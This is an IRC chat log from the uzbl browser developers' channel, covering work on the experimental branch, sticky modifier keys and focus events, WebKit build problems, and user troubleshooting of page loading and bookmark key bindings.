17:20 < bct> yay!
17:20 < bct> yeah dom is pretty much sucks.
17:21 < bct> it might be interesting to make jquery a semi-standard part of uzbl.
17:22 < rob|> ok, pushed the changes. with this initial text elements that have focus and clicking a editable element should automatically switch uzbl to insert mode
17:22 < rob|> i pretty much like it :)
17:22 < rob|> and only the former needs JS
17:25 < rob|> tha: i'd recommend to checkout experimental, the uzbl-browser wrapper in there takes care of all this stuff
17:27 < rob|> tha: and you'll get a lot of new awesome features to play with
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17:34 < rob|> so, the only "killer feature" left is being able to edit text(areas) with a custom editor
17:35 < lich> no, beeing able to move through commands in case of typos
17:35 < lich> someone made a script, but this should be implemented
17:36 < DuClare> Implemented?
17:36 < lich> as in part of default uzbl
17:36 < DuClare> You mean, as a built-in feature?
17:36 < lich> yeah, that's the word
17:36 < bct> i thought that was on the experimental branch
17:36 < DuClare> Why?
17:36 < lich> the script or w/e I saw was using vim like regex to replace stuff
17:36 < lich> that's really offhand
17:36 < lich> bct: I'm with -git, not experimental
17:37 < lich> could be the re I guess
17:37 < bct> nm, i'm thinking of something else.
17:37 < rob|> lich: editing the command input is already possible in experimental (and you'll even get a customizable edit prompt)
17:38 < lich> rob|: I rather like my current configuration, I don;t want to start redoiong all my stuff, and you said experimental will most likely break my setup
17:38 < lich> plus, I'm asuming it's prone for crashes right now?
17:38 < rob|> DuClare: well, at least i'd like to a have a sample script for this in the default examples
17:38 < DuClare> lich, That makes an impossible equation, no?
17:39 < DuClare> You want a new feature but you don't want a new version? :p
17:39 < DuClare> rob|, Yeah.. but built-in?
17:39 < rob|> lich: no, it really shouldn't crash
17:39 < lich> DuClare: experimental will be -git soon enough
17:39 < lich> then, I will install
17:39 < lich> DuClare: not necesarelly built in, but I want it to come with uzbl by default
17:39 < lich> and to be easy to edit, like with cursor keys and delete etc
17:40 < lich> not :%s/toyo/typo
17:40 < lich> :D
17:40 < rob|> DuClare: well, built in == used in the example config
17:41 < rob|> lich: yeah, all that is working already. you can move with cursor key withing the command and delete parts at will
17:41 < DuClare> rob|, Is it using some widget?
17:41 < bct> it's using the same bar that it was before.
17:41 < rob|> next step is to probably merge keis' work which will also allow to use ^W, etc.
17:42 < DuClare> What did keis do exactly?
17:42 < rob|> DuClare: no, this is all handled by the EM. still out simple label widget
17:42 < DuClare> Ouch
17:42 < rob|> *our
17:43 < DuClare> Too bad ezbl isn't quite uzbl :(
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17:44 < rob|> well, among other things keis added the possibility to edit commands with stabdard bindings like ctr+w deletes the last word, etc.
17:45 < rob|> DuClare: not sure if you followed the whole events and EM stuff lately
17:45 < DuClare> Not quite
17:45 < DuClare> rob|, Right now I think using a gtk text box would've been the best option
17:45 < rob|> well, it offers some really amazing possibilities you should check it out
17:45 < DuClare> Yeah
17:46 < rob|> no, as key bindings are not handled but uzbl any more
17:46 < DuClare> Umm, right
17:46 < rob|> so being able to fully customize every single binding would certainly be beyond the scope of a text box
17:47 < DuClare> Pass-through?
17:47 < DuClare> Let the EM eat whatever binds it handles, and pass the rest to uzbl, if so configured
17:48 < rob|> sure, that's what we already do. though you would still need to have uzbl handle bindings for the text box itself
17:48 < DuClare> Mmm
17:49 < rob|> currently all we do is generate "KEY_PRESS <key>" events for every pressed key
17:49 < lich> rob|: I'ma build a separate uzbl-experimental and see where that leads me
17:49 < lich> got a git link for me?
17:49 < lich> need to clone
17:50 < DuClare> Well well
17:50 < rob|> lich: yeah, clone from my repo. it holds all the bleeding edge stuff
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17:50 < lich> care to give a link to uzbl-experimental.git?
17:50 < lich> or w/e it;s named
17:50 < rob|> lich: git://github.com/robm/uzbl.git
17:50 < lich> danke
17:50 < lich> sure that's experimental?
17:51 < DuClare> It doesn't sound like there's going to be a solution for IMEs even if we get the basic text field bindings
17:51 < rob|> lich: erm?
17:52 < DuClare> :>
17:52 < rob|> also: http://www.uzbl.org/wiki/branches
17:53 < lich> rob|: asuming I will need to remove my custom dirs, start fresh?
17:53 < bct> what's an IME?
17:54 < DuClare> Input Method E(ngine|ditor)
17:54 < lich> rob|: does `make install` overwrite the /usr/share/uzbl stuff?
17:54 < bct> inter-machine event? remote uzbl, i like it!
17:54 < bct> :P
17:54 < rob|> lich: well, after you cloned it. just:  "git checkout experimental" and  "make clean all" and "make install" (as root) should give you all the goodies
17:55 < lich> DuClare why would you want one? doesn;t scim work in uzbl for you?
17:55 < rob|> oh, and invoke "uzbl-browser"
17:55 < lich> works just fine for me?!
17:55 < DuClare> lich, Umm, for the command line?
17:56 < lich> DuClare: DuClare oh, got you
17:56 < lich> oopsie, double tab
17:56 < lich> rob|: error: pathspec 'experimental' did not match any file(s) known to git.
17:56 < lich> ran in the previous git clone dir
17:57 < DuClare> origin/experimental perhaps?
17:57 < lich> oh -b
17:57 < lich> screw this git
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17:59 < rob|> yeah, git can be quite a bitch
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18:03 < Dieterbe> once you get used to it, it rocks though
18:03  * Dieterbe driving home. see you guys soon.
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18:19 < tha> seems like uzbl-experimental doesnt like my config
18:19 < lich> mine either
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18:20 < lich> I get <span>char here</span> in the cmd line :))
18:20 < rob|> copy the default config over and use that one as a starting point
18:20 < bct> yeah, your old config won't work.
18:20 < lich> will do
18:20 < lich> actually, while at it, I'ma get rid of the XDG stuff
18:20 < lich> make it use ~/.uzbl
18:20 < lich> faster to backup
18:20 < lich> mkdir ~/.uzbl
18:20 < lich> oops
18:20 < lich> :P
18:21 < bct> [lich@lich]$
18:23 < lich> actually it's `ターミナル » uzbl` :P
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18:26 < mason_l> Hey guys
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18:26 < bct> good morning mason.
18:27 < mason-l> Good evening bct :)
18:27 < mason-l> Infact its 00:25 here.
18:27 < mason-l> <rob|> next step is to probably merge keis' work which will also allow to use ^W, etc.
18:27 < mason-l> ^ Working on it.
18:28 < DuClare> Tue Oct 20 19:28:08 EEST 2009
18:28 < lich> ok nothing works
18:28 < lich> and my cmd line says <text I type> <span> </span>
18:28 < mason-l> rob|, And are you around?
18:28 < lich> I can literally see the span tags
18:28 < mason-l> lich, You need to update your config
18:28 < mason-l> What once was escaped is no more.
18:28 < lich> I used the one from /usr/share
18:29 < mason-l> And escaped inside the EM.
18:29 < lich> and issuing with -c ~/.uzbl, to make sure it uses that one
18:29 < mason-l> lich, Inside the the git uzbl folder run 'make test-dev-browser'
18:30 < mason-l> If the problem exists inside there then its our problem :P
18:30 < lich> looks lovely
18:30 < lich> but wher do I get the config from?
18:31 < mason-l> Inside the uzbl folder uzbl/examples/config/uzbl/config
18:31 < lich> ok
18:31 < lich> works now
18:32 < lich> lot of output lol
18:32 < bct> yeah, it needs an option to avoid sending events to stdout.
18:32 < bct> trivial to do, it's just a matter of figuring out how to configure it.
18:33 < lich> first "bug", you can't change uri while page is loading. should that be so?
18:34 < lich> after I tried that, all I type now has a <Ctrl> infront
18:34 < lich> and obviouslly does not work
18:34 < mason-l> lich, re-release ctrl
18:35 < bct> hehe, known issue then :)
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18:35 < lich> g ratpoison
18:35 < lich> still not working
18:35 < bct> lich, do you switch windows with some cammand that uses a ctrl?
18:35 < lich> just stays there
18:35 < lich> bct: yes, ctrl-t, #
18:36 < mason-l> Thats why.
18:36 < bct> yeah, i switch windows with alt and i get an <Alt> hanging around
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18:36 < mason-l> The window manager steals the key-release.
18:36 < bct> it should go away when you press & release though
18:36 < lich> mason-l: you saying I should change my wm bindings to be able to use teh enw uzbl?
18:36 < mason-l> lich, Not entirely.
18:36 < lich> screw it, old uzbl works great, using that one until this is fixed
18:36 < lich> I won't have a browser make me reconfig my wm, that's for sure
18:36 < bct> mason-l, can uzbl notice when it gets focus again and check if the key is still pressed?
18:37 < mason-l> bct, I'm not sure if its possible to see if something still held down.
18:37 < lich> nothing is held down
18:37 < bct> hmm, that is problematic.
18:38 < mason-l> What needs to happen (if possible) is uzbl track what modkeys are held and release all of them when the window loses focus!
18:38 < lich> I uset ctrl to switch to the window
18:38 < lich> didn't keep it pressed
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18:38 < mason-l> rob|, Direct your eyes ^
18:38 < lich> ctrl is not a togleable key, it's not held in any way...
18:38 < bct> lich, yup. the problem is that when you release ctrl, you're on another window
18:38 < bct> so uzbl doesn't know that you've released it.
18:39 < lich> yeah I get you
18:39 < lich> I consider this either a bug or bad implementation of something. for me it;s definatly not useable. my rp binding does not change :)
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18:39 < lich> I use the same keys for years, I won't change those
18:39 < mason-l> lich, Keep in mind this is why we have an experimental branch.
18:40 < bct> i've been working around it by pressing & releasing the modkey when i switch back
18:40 < lich> that would be highly unproductive for me
18:40 < bct> but yeah. experimental.
18:40 < lich> especially because I swiotch windows quite often
18:40 < lich> switch*
18:40 < mason-l> bct, Well I can't believe I didn't think of it sooner but there is un-focus events in which uzbl can release all keys it thinks are held.
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18:41 < MichaelRaskin> lich, uzbl actually made me reconfigure StumpWM to use Task - Subwindows approach
18:41 < MichaelRaskin> Because it made me just to think about such an approach...
18:41 < lich> MichaelRaskin: good for you, I love the browser, but my ratpoisonrc will not change
18:42 < lich> will use old one until I can use uzbl with no wm changes
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18:53 < Dieterbe> hi m00nblade 
18:53 < Dieterbe> oops
18:53 < Dieterbe> i mean hi mason-l 
18:53 < mason-l> Hey Dieterbe
18:53 < mason-l> Lets talk about the merge
18:54 < Dieterbe> yes
18:54 < Dieterbe> i have to leave soon though
18:54 < mason-l> Oh, do you want to continue this later then?
18:55 < Dieterbe> well it's not a pressing matter, as soon i have a reply from you on the issues i mentioned in my email, i can do the merge
18:55 < Dieterbe> whether that's today or tomorrow or so doesn't matter to me, i would like to make a release this weekend though :)
18:55 < mason-l> Whoa.
18:55 < mason-l> I'll get cracking then.
18:59 < lich> release? waiting for that then
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19:02 < mason-l> lich, see: experimental branch :
19:02 < mason-l> :P
19:02 < lich> I guess I *could* get accustomed to hit ctrl once
19:02 < lich> so is escape gone now?
19:02 < lich> for switching to/from insert mode?
19:03 < Dieterbe> mason-l: i guess you're typing a mail now? :P
19:03 < mason-l> lich, No, we can fix it we just need time to perfect the handling of key presses & released.
19:03 < mason-l> 'releases
19:03 < lich> well, time to re-config then
19:03 < mason-l> Dieterbe, I'm actually watching Castle and helping a friend with her uni homework.
19:03 < lich> scripts still work as they should right?
19:03 < bct> yup.
19:04 < Dieterbe> mason-l: oh ok no problem mate
19:05 < mason-l> Dieterbe, I've got the next 6 hours to work on it though so I'll forward something along and get on with my merging.
19:05 < Dieterbe> mason-l: i don't to press you guys or anything.. you think this weekend is a good point in time for another alpha release? anything special i can do for you?
19:05 < lich> haha he ate a word!
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19:06 < bct> you're staying up until 7am on a tuesday? lucky.
19:06 < mason-l> bct, Yeah work at 13:30.
19:06 < lich> we got a plugin folder?
19:06 < lich> uzbl has plugins?
19:06  * bct is jealous. 8-5 is lame.
19:07 < mason-l> lich, Event manager plugins.
19:07 < mason-l> But plugins aren't scripts thats why there is another separate folder for them.
19:07 < lich> I'm asuming uzbl_tabbed doesn;t work with experimental?
19:08 < mason-l> bct, I'm 13:30 - 23:45
19:08 < mason-l> lich, Not yet.
19:08 < mason-l> lich, It will by the weekend.
19:12 < bct> is there a todo list? i think i have some spare time before then.
19:13 < mason-l> bct, Theres a non-maintained TODO file :)
19:14 < bct> yeah, that doesn't help you get things tidied by the weekend though.
19:15 < Dieterbe> i guess we should just actually use it and find/fix bugs
19:15 < lich> there's a cookie daemon now? no more one single file?
19:16 < mason-l> lich, Yes and its faster than cookies.py
19:16 < lich> yes, but I need to have one file to pass to wget's load-cookies :(
19:17 < mason-l> http://www.uzbl.org/wiki/cookie_daemon.py
19:17 < mason-l> Yes it uses one file
19:17 < mason-l> $XDG_DATA_HOME/uzbl/cookies.txt
19:17 < lich> oh it's the same
19:18 < lich> good
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19:31 < rob|> re
19:32 < rob|> mason-l: the focusin/out thing is a good idea
19:33 < mason-l> rob|, And its possible right?
19:33 < rob|> yeah, should be possible
19:33 < mason-l> Gtk has some un-focus events doesn't it?
19:34 < mason-l> Nice :)
19:34 < rob|> oh, damn i just realize that some code got lost
19:37 < rob|> the configure-notify signal and geometry events, that is
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19:46 < rob|> do we need the GEOMETRY_CHANGED event?
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19:52 < rob|> also, do you need any special details delivered with the focus out event message?
19:52 < scj> geometry_changed? probably
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19:56 < rob|> ok, will re-add it then
19:57 < rob|> just deleted the signal connection in the process of splitting the source file
19:57 < rob|> everything else was still in place :)
19:57 < rob|> ok, so FOCUS_LOST is enough, right? or do we also need FOCUS_GAINED
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20:07 < mason-l> rob|, Thats the better way of doing it.
20:07 < mason-l> Then we can force-clear the held keys list.
20:08 < mason-l> On those events.
20:10 < lich> you have to clear them when you GAIN focus, if you do it when you lose it, I won't be able to issue any ctrl related stuff,
20:10 < lich> ratpoison removes focus from teh window on ctrl + c
20:10 < lich> ctrl + t sorry
20:10 < lich> or is this only applied to uzbl?
20:11 < rob|> hmm, for some strange reasons i always get a focus_out event even when the windows gained the focus
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20:30 < rob|> crazy..
20:30 < lich> rob|: sure it comes from the same window
20:31 < lich> correct me if I'm wrong but uzbl is not exactly ONE window, there's still the status widget, non?
20:31 < lich> maybe it comes from leaving that one?
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20:31 < rob|> no, don't think so
20:32 < lich> hide the status and see if it changes stuff
20:32 < lich> also move the mouse from some other part of the screen over
20:32 < lich> don;t go over the status basically
20:32 < rob|> sure, status is hidden already
20:32 < lich> then that's not it
20:32 < lich> is uzbl in some sort of container?
20:33 < rob|> the problem might be that i'm testing on a windows X server and uzbl is being ran remotely, though this shouldn't really matter
20:34 < lich> indeed it should not
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20:35 < rob|> still, i have no other explanation then this one
20:35 < rob|> *than
20:36 < rob|> an idicator that this may be true is that the windows think it has focus when the pointer enters it, although windows is click-to-focus
20:36 < rob|> s/windows/uzbl/
20:37 < rob|> i recall to have had similar issues with dzen and focus in/out on the cygwin X server
20:38 < rob|> anyone care to test on anative X server?
20:43 < rob|> ok, pushed to my tree. please test this!
20:44 < rob|> it works as expected for me as long as i don't click the uzbl window. i.e. the X server seems to think it works under sloppy focus
20:46 < rob|> Alt+Tab also works, so this seems to be an issue on my side
20:46 < lich> rob|: this could be due to your Xserver implementation
20:47 < rob|> mason-l: the events are named FOCUS_GAINED and FOCUS_LOST
20:47 < lich> maybe that's the thing generating the click or whatnot
20:47 < rob|> lich: right, i guess this is it
20:47 < rob|> let's see how it works on a native X server
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20:48 < mason-l> Thanks rob|.
20:49 < mason-l> Hopefully this resolves _all_ of these sticky keys issues.
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20:49 < mason-l> And rob| is there any way to force a gui-rebuild?
20:49 < rob|> mason-l: sure thing, though be sure to check out wether this really works as expected so we can confirm it's only an issue with the cygwin X server
20:50 < mason-l> Cyg..win.. are you on windows?
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20:50 < rob|> yes
20:50 < lich> traitor
20:50 < mason-l> Whoa.
20:50 < lich> hey, has anyone given any thought about porting uzbl?
20:50 < lich> atleast to osx?
20:50 < mason-l> I was not prepared for that one.
20:50 < rob|> well, i need to run this visual studio stuff
20:50 < rob|> so i basically develop over ssh with cygwin's X server
20:50 < lich> rob|: try Xming if you haven't already
20:51 < lich> that's what I use under windows + openBSD server
20:51 < mason-l> rob|, Are you on your work PC or home PC?
20:51 < lich> I just run Xming, connect with putty,(with X11 forwarding) and that's it..i just start my WM
20:51 < rob|> mason-l: well, both are the same machine ;)
20:51 < rob|> mason-l: i work at home most of the time
20:52 < lich> rich bastard
20:52 < lich> no more falafel for you!
20:52 < rob|> rich? that'll be nice..
20:53 < mason-l> Interesting how you said "that will" instead of "that would" :)
20:54 < lich> lol
20:54 < lich> I bet he's coding something big
20:54 < rob|> oh, erm.
20:54 < mason-l> :D
20:54 < lich> rob|: be honest, you working for M$? Will Win7 have an embedded dzen3?
20:54 < mason-l> Sshh! hes already given away too much/.
20:55 < rob|> haha, i had to sign a non-disclosure contract so no more info on this ;)
20:56 < lich> I signed one of those once. I I were to divulge any info I'd have to pay around 70k euros
20:56 < lich> If*
20:56 < mason-l> lich, So what was it for?
20:56 < MichaelRaskin> I remember using coLinux + tightVNC server inside it + tightVNC vncviewer as an X11 solution for Windows.
20:57 < lich> well I worked for the national printing thingie, something like the US mint, but not for cash, but for official documents etc
20:57 < lich> I did DTP before my switch to 3D
20:57 < rob|> MichaelRaskin: well, i'm pretty happy with cygwin, though it does have some issues. these might also be realted to win7, though
20:57 < lich> win7?
20:57 < lich> I WAS RIGHT?
20:57 < lich> :))
20:58 < MichaelRaskin> CygWin is better than nothing but worse than any sane solution..
20:58 < lich> I found Xming to be faster than vnc..plus it's all through a ssh tunnel, can;t beat that
20:59 < rob|> lich: http://omploader.org/vMjdqNg  ;)
20:59 < MichaelRaskin> I remember Xming being way slower than local VNC
20:59 < lich> rob|: is the tiling a part of win7?
20:59 < rob|> no
20:59 < lich> are they taking EVERYTHIGN away from us? :'(
21:00 < rob|> that's manual tiling :)
21:01 < mason-l> I feel so sorry for you rob| :(
21:01 < mason-l> Here: Have my sympathies.
21:01 < lich> you got way too much free time. I will expect an uzbl release by tomorrow
21:01 < lich> and a cookie
21:01  * lich hands rob| an old cookie
21:02  * rob| throws it away, the m$ guys have oreos :P
21:02 < lich> lol
21:02 < lich> that reminds me I'm out of cereals
21:03 < rob|> that reminds me in what a crazy country i live, all stores _have to_ close at 8
21:04 < rob|> so, no cookies after 8 o'clock for me..
21:04 < lich> all of them?
21:04 < lich> no non stops?
21:04 < rob|> no
21:04 < rob|> the only sort of non-stop thing is gas stations
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21:04 < lich> we would die with no nonstop little shop on every corner
21:04 < mason-l> Over here some close at 5, 5:30, 6, 7, 8, 9, 10 & 11pm.
21:05 < lich> cigarettes, beer..where would we get those at 4 am?
21:05 < lich> we do have them close starting from 8 to 11, but we also have shops that never close
21:05 < rob|> well, in germany that's forbidden by law
21:06 < mason-l> 24 hour shops?
21:06 < rob|> even bars have to close for one hour in my hoemtown
21:06 < lich> mason-l: well they never close
21:06 < rob|> one hour per day
21:06 < lich> rob|: prolly to mop the drunks out in the back
21:06 < lich> then they get new batches :D
21:07 < rob|> hehe, yeah probably ;)
21:07 < lich> if this happens I would imagine that to be a rather quiet town?
21:07 < rob|> anyways, closing times for shops is one of the most stupid laws we have
21:07 < rob|> don't know of any other country that has something similar
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21:10 < lich> damn
21:14 < rob|> mason-l: did you also test the automatic mode switching? i pretty much like it..
21:14 < rob|> mason-l: it's in the example config..
21:16 < MichaelRaskin> What is automatic mode switching? Switching on entering/leaving input elements?
21:16 < rob|> yes
21:17 < rob|> or when an input element has initial focus on site load
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21:18 < bct> oh dear, i just inherited a codebase that looks like this: int main(argc, argv) { #ifdef A do_application_a(argc, argv); #elifdef B do_application_b(argc, argv); #elifdef C ... }
21:19 < rob|> oh, wow. good luch with that ;)
21:19 < rob|> *luck
21:19 < mason-l> I'll take luch with that.
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21:20 < lich> haha I love me a nice spagetti code once in a while
21:21 < rob|> well, there are certainly cases when conditional compilation does make sense
21:21 < lich> but not layed out like that
21:22 < rob|> sure
21:22 < bct> that explains the way the makefile is set up i guess :(
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21:43 < bct> hell is other people('s code)
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22:00 < mason-l> rob|, I just pulled in your changes and I when I build I get numerous: "uzbl-core.c:724: error: ‘WEBKIT_HIT_TEST_RESULT_CONTEXT_DOCUMENT’ undeclared (first use in this function)"
22:00 < mason-l> And uzbl-core fails to build.
22:01 < rob|> oh, you're webkit version doesn't seem to support that. you may need to update
22:01 < rob|> running 1.1.15 here
22:02 < lich> same here
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22:03 < mason-l> The webkit libs in the portage tree only go up to 1.1.10, I'll have to find an overlay to grab a later version of webkit.
22:04 < keis> 1.1.15 is the gnome overlay :)
22:04 < keis> +in
22:04 < rob|> oh, yeah that's pretty old
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22:09 < hickop> hi, how can i change the font size in the status bar please ?
22:09 < mason-l> hickop, Google: pango markup
22:10 < mason-l> hickop, And click the "I'm feeling lucky button."
22:11 < hickop> mason-l: thx
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22:16 < hickop> its really a great feeling to browse without any useless tab/url/menu bars :D
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22:23 < rob|> mason-l: got it working meanwhile?
22:23 < mason-l> Still building webkit
22:24 < mason-l> I had to upgrade glibc also
22:24 < rob|> oh, you're on gentoo, aren't you?
22:24 < lich> sad little muffin
22:24 < mason-l> Yeah :D
22:24 < rob|> ok, that will take its time
22:24 < mason-l> But the gnome overlay did have said webkit-lib so I'm happy.
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22:25 < rob|> right. well i added quite a bit of stuff lately
22:26 < rob|> also the menus respect contexts now
22:26 < rob|> that what the HIT_TEST stuff is mainly used for, btw
22:26 < rob|> *that's
22:27 < rob|> webkit is a bit special here, the menus themselves know nothing about their context but you rather have to inspect the point you last clicked for its context..
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22:38 < mason-l> Sigh, webkit is gigantic.
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22:44 < lich> this would be the time when you should consider a distro switch
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22:46 < mason-l> Its installed.
22:46 < mason-l> Only took 2 more minutes.
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22:46 < lich> and an hour before :P
22:47 < mason-l> And I had to update glibc
22:47 < mason-l> (10 minute build in it-self)
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22:50 < mason-l> rob|, I'm still getting issues with the update_gui command.
22:51 < mason-l> While update_gui does call update_title to update the window title, status bar & etc the one thing it seems it doesn't do is force a re-draw of the gtk elements in the window.
22:51 < mason-l> I need to press another key or move the mouse to get a re-draw
22:52 < mason-l> (To remove the shadows of keycmd's in the status format.)
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22:54 < mason-l> Anyway talk later, I'm going to head to bed early tonight.
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22:58 < rob|> hmm, not really sure what this "shadows" are
22:59 < rob|> but update_gui actually does only redraw the status and title bars
22:59 < rob|> anyways, nicht mason
22:59 < rob|> *night
23:00 < hickop> is there a way to configure it so it goes to insert mode when i click an input area ?
23:01 < bct> rob| just came up with a way, maybe he's still here?
23:03 < bct> ah, i guess you need to be using the experimental branch.
23:03 < bct> it can be done with javascript, but i don't know the details off the top of my head.
23:04 < bct> add an onfocus handler to every input on the page that calls Uzbl.run.
23:06 < hickop> experimental branch does it out of the box ?
23:06 < bct> it looks like robm's experimental branch does (i haven't tried though)
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23:07 < bct> be warned, it's experimental :)
23:10 < hickop> ha yea its more a dev platform than a browser actually ^^
23:11 < bct> heh, yup
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23:17 < rob|> hickop: yeah, my branch+default config does that out of the box
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23:18 < rob|> "make install" and launching "uzbl-browser" should be all you need
23:18 < rob|> hickop: note, it will also go to insert mode when a editable element has initial focus on site load
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09:38 < rob|> morning.
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09:55 < rob|> added a 'hardcopy' command to print the current page
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10:18 < lich> mornin'
10:20 < rob|> hey
10:21 < Dieterbe> good morning ladies
10:21 < Dieterbe> rob|: print current page? as in with a paperprinter?
10:21 < rob|> yes
10:21 < lich> anything interesting happened last night?
10:22 < Dieterbe> rob|: how does that work? with cups?
10:22 < rob|> ok, README updated. though dieter, you should look over the documented commands, not all of them are still available
10:23 < rob|> Dieterbe: it simply opens a gtk print dialog
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10:24 < Dieterbe> rob|: shouldn't we handle printing as external script? one could bind a key to a script, that script can pull the html from uzbl or whatever and spawn dialogs or do it non-interactively if the user wants that
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10:24 < Dieterbe> rob|: re: readme review, will do
10:25 < lich> the error page should print out nethack style messages
10:25 < lich> as a tribute to me :P
10:25 < rob|> sure, but that seems quite a bit harder. now we can at least print a page. the other thing can be added later
10:26 < Dieterbe> ok
10:27 < rob|> i guess webkit's native print function also takes care of stylesheets, so at least one non-trivial part that user doesn't need to bother with
10:27 < rob|> *the user
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10:37 < rob|> oh, nice. on the wiki there is a per site css script :)
10:39 < lich> hehe, who of?
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10:40 < lich> jbradaric, who's that I wonder?
10:40 < rob|> not sure if he's in here
10:40 < lich> really simple and nice script
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10:41 < lich> definatly a good addition, as my css is horrid on some sites
10:41 < lich> gmail is ok, but yahoo mail is just plain painful with it
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10:51 < Dieterbe> http://omploader.org/vMjdqNg -> yuck :P
10:52 < modnaru> My eyes!
10:53 < lich> rob's heh
10:55 < rob|> well...
10:57 < hickop> hello, anyone can access www.grc.com/x/ne.dll?bh0bkyd2 with uzbl ?
10:58 < lich> I can
10:58 < lich> ultra-high-quality passwords? I can generate my own random password
10:59 < lich> mM(*&&#NNhjH@&7JHGH
10:59 < Dieterbe> that's not a high quality password at all
10:59 < hickop> wierd its like its blacklisting me when i use uzbl :/
11:00 < Dieterbe> yep. my uzbl hangs in 'wait' state on it
11:03 < lich> I tested with -git btw
11:03 < lich> not experimental
11:03 < lich> you?
11:03 < hickop> git also
11:03 < lich> maybe you're sending a weird user agent?
11:04 < hickop> how can i check this ?
11:04 < lich> check your config
11:04 < lich> set useragent = ...
11:05 < lich> since you don't know of it you probably have the default os that's not the issue
11:05 < lich> so*
11:05 < hickop> Your browser user agent ID:	Uzbl (Webkit 1.1.15) (GNU/Linux x86_64 [x86_64]) (Commit d2d73ad463f3d9f1c673d37457af159947b3faac)
11:06 < hickop> from: http://www.microsystools.com/services/http-user-agent/
11:08 < lich> Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3
11:08 < lich> try that just for test purposes
11:08 < lich> my osx ff
11:09 < hickop> hum no, still hangs on wait
11:10 < lich> try a fresh run or something, make it ignore your config and scrips
11:11 < lich> btw: Dieterbe and rob| could you make this as an option? you do have -c, but make it something like uzbl --clean to run with default config, ignoring your local $XDG_CONFIG_HOME one
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11:14 < Dieterbe> you mean uzbl -c - ?
11:14 < Dieterbe> or rather echo | uzbl -c -
11:14 < lich> oh, ignore me then :)
11:14 < lich> didn;t think it wuld work like that
11:15 < lich> thought it would consider that I fed it an empty config and fail
11:15 < Dieterbe> "empty configs" work by design
11:17 < hickop> still hangs without any config
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11:22 < hickop> same with experimental
11:23 < Dieterbe> hickop: set http_debug to 3 or so
11:25 < hickop> http://pastebin.com/m7e34b234
11:27 < Dieterbe> and you get nothing back?
11:27 < Dieterbe> set your user agent to firefox and see what happens
11:27 < hickop> no absolutlely nothing else :/
11:28 < hickop> http://pastebin.com/m56bebecd
11:28 < lich> this shouldn't be though. I have the default useragent and it loaded for me
11:28 < hickop> nothing more :/
11:30 < Dieterbe> hickop: try tcpdump/wireshark then. monitor everything going to or from grc.com
11:32 < hickop> hum when i go to grc.com , it starts to receive ,then hangs
11:32 < lich> could it be a cache proble?
11:32 < lich> problem*
11:33 < hickop> http://pastebin.com/m6982368c
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12:00 < hickop> http://pastebin.com/m268e27ab that's all tcpdump it captured relating to grc.com
12:02 < Dieterbe> write it to a dump file, open it with wireshark, and follow the http stream (or just do the sniffing in wireshark)
12:05 < Dieterbe> (and if you decide to use tcpdump anyway, don't forget to use -s 0)
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12:38 < hickop> that is so chinese for me , want my wiresharks dumps ?
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12:49 < Dieterbe> no
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13:37 < keis> hi :)
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13:46 < rob|> hey keis
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13:58 < hickop> hum i think i found out what made grc.com to hang , when i try to get http://www.grctech.com/_523d2ozlgt0yl_/image/su2blackglow.gif , it loads the gif but stays on "recv"
14:04 < hickop> but http://www.grctech.com/image/su2blackglow.gif works
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14:15 < rob|> fun, fun..
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14:33 < Dieterbe_> hooray for anydot 
14:33 < Dieterbe_> surf guys want to use dmenu more, and anydot said:
14:33 < Dieterbe_> If this decision remains stable in surf, I'm willing to accept the
14:33 < Dieterbe_> vertical menu patch in vanilla dmenu.
14:33 < Dieterbe_> :))
14:37 < anydot> Dieterbe_: I don't say anything.
14:37 < anydot> Didn't you mean arg? :-)
14:37 < anydot> But that's not my alterego :-)
14:38 < ruskie> hmm
14:38 < Dieterbe_> oops
14:38 < Dieterbe_> sorry anydot i confused you with anselm garbe
14:39 < Dieterbe_> anyway, anselm rocks, then :P
14:39 < anydot> fail :-)
14:41 < rob|> that's certainly nice, though as i know arg he'll strip the most interesting features anyway ;)
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14:44 < Dieterbe_> yeah we'll probably still need to recommend to use an alternative, patched dmenu version. but still, having the vertical stuff ability even with the stock dmenu will make things convenient
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16:52 < modnaru> Is there a way to delete session cookies?
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16:54 < bct> modnaru, if you're using the cookie daemon i think you can just restart it.
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18:06 < modnaru> bct: I don't think that works... I'll try it out later when I get back.
18:06 < lich> non uzbl question, but I though I ask
18:06 < lich> any of you use LANG=ja_JP.utf8?
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18:17 < DuClare> On the occasion
18:18 < DuClare> Not globally
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19:06 < axionix> hmm, why do some sites like github never finish loading for me?
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19:12 < hickop> axionix: for me, some never load
19:12 < axionix> yeah i need a finish handler on 1 in particular...kinda sucks
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19:30 < tomkins> hello anyone on?
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21:02 < kustom> can somebody help with: bind    B         = sh 'echo -e "$6\t$7\n" >> $XDG_DATA_HOME/uzbl/bookmarks'?
21:02 < kustom> there is no tab and no new line in bookmarks, only t and n
21:04 < bct> i think you need \\t
21:04 < bct> because uzbl will interpret the \ when it parses your config file.
21:04 < lich> yeah you need to escape the backslash itself
21:05 < kustom> with \\t its the same
21:06 < kustom> bind    B         = sh 'echo -e $6\\t$7\\n >> $XDG_DATA_HOME/uzbl/bookmarks' and still $URLt$HEADn in bookmarks
21:06 < bct> run uzbl with -v so you can see the actual command it's running?
21:07 < kustom> spawned: 'sh' '-c' 'echo -e "$6t$7n" >> /home/tom/.local/share/uzbl/bookmarks' '' '/home/tom/.config/uzbl/config' '28087' '14680067' '/tmp/uzbl_fifo_14680067' '/tmp/uzbl_socket_14680067' 'http://www.spiegel.de/' 'SPIEGEL ONLINE - Nachrichten' -- result: true
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21:10 < bct> erg. i guess it's being interpreted twice by uzbl?
21:10 < bct> you could try \\\\t :(
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21:10 < modnaru> He's gone.
21:10 < modnaru> Oh, he's back.
21:10 < kustom> =)
21:10 < bct> erg. i guess it's being interpreted twice by uzbl?
21:11 < bct> you could try \\\\t :(
21:11 < modnaru> In any case, you can always try escaping more and more.
21:11 < kustom> \n takes effect
21:11 < kustom> i have a new line in bookmarks but at the end there is still a n
21:11 < bct> echo will include a newline anyways
21:11 < bct> unless you give it -n
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22:23 < kustom> qui
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23:06 < rob|> http://code.google.com/p/vimlike-smooziee/
23:06 < rob|> just grabbed this on #xmonad
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23:11 < bct> is that keystroke thing part of the browser or part of the screencast software?
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23:11 < bct> in the browser i guess, it gets bigger when he zooms in
23:12 < bct> vim keys in a text input, nice
23:30 < jelly12gen> rob|: me too
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23:30 < rob|> yep, we should be able to do something similar with JS too, now that we have the FORM_ACTIVE event
23:30 < jelly12gen> not feature complete though :(
